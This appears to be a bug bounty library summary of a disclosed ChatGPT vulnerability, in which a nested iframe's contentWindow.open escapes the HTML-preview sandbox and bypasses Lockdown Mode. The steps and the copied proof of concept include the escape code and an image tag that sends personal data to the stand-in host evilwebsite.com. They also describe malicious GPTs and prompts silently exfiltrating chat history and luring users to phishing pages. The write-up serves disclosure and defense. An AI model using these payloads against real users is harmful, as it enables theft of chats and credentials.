# ChatGPT Lockdown Mode Bypass: Phishing, Malware Delivery, and Silent Data Exfiltration

ChatGPT HTML-preview sandbox kept allow-popups tokens; a nested iframe's contentWindow.open escaped the sandbox, bypassing Lockdown Mode for zero-click chat exfiltration.

- Payout: Research
- Severity: high
- Program: OpenAI
- Write-up by: stcpresearch
- Disclosed: 2026-11-05
- Write-up quality: 8/10
- Original: https://research.checkpoint.com/2026/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data-exfiltration/
- Library page: https://bugbountylibrary.com/r/blog%3Aresearch-checkpoint-com-2026-chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data-exfiltration
- Tags: area:ai domain:ai domain:web impact:ato impact:data-leak kind:research platform:threat-intel sev:high tech:electron technique:chained technique:source-review vuln:prompt-injection vuln:sandbox-escape

**Target:** ChatGPT HTML page preview sandbox (nested iframes) in web and Electron Classic clients
**Root cause:** The outer HTML-preview sandbox iframe retained allow-popups and allow-popups-to-escape-sandbox tokens; only window.open was overridden in the sandbox script, so a nested iframe's native contentWindow.open opened an unsandboxed popup.
**Steps:**
1. Render attacker HTML in a ChatGPT code-block preview (malicious prompt, malicious GPT, or shared chat).
2. Confirm `window.open("about:blank")` is blocked by the redefined function.
3. Create a nested iframe: `var f = document.createElement('iframe'); document.body.appendChild(f);`
4. Call `f.contentWindow.open("about:blank")` to obtain a real popup escaping the sandbox.
5. Write arbitrary HTML into the popup and load external resources (e.g. `<img src="https://evilwebsite.com/?q=personal_data">`) to exfiltrate chat data.
**How found:** Reviewed the sandbox iframe attributes and noticed allow-popups/allow-popups-to-escape-sandbox were enabled while only window.open was redefined; hypothesized a nested iframe's contentWindow.open would be the native function and tested it.
**Exploitation:** Attacker-controlled HTML in the preview opens an unsandboxed popup retaining the ChatGPT icon; in Electron ChatGPT Classic window.open works without a user gesture, so a malicious GPT silently exfiltrates the full chat history to an attacker server. Popups also enable phishing, spoofed update/malware downloads, and forced sign-out to lure re-authentication on an attacker page.
**Escalation:** Popup escape chained to main-window reload and forced sign-out, enabling credential phishing; shared chats extend the attack to unauthenticated victims.
**Insight:** When a sandbox overrides window.open in JS but leaves allow-popups tokens in the iframe attribute, a child iframe's contentWindow.open is the unpatched native function — always test nested-frame escape when popup blocking is script-level only.

## Proof of concept (copied exactly from the original report)

**Nested iframe contentWindow.open bypasses sandbox**

```
window.open("about:blank"); // blocked

// creating a nested iframe
var f = document.createElement('iframe');
document.body.appendChild(f);

f.contentWindow.open("about:blank"); // works
```

**Redefined window.open sandbox function**

```
window.open: h=>{if(!h)return null;const{location:f}=r;return an(o,f,h),null}
```

**External image exfiltration payload**

```
<img src="<https://evilwebsite.com/?q=personal_data>" />
```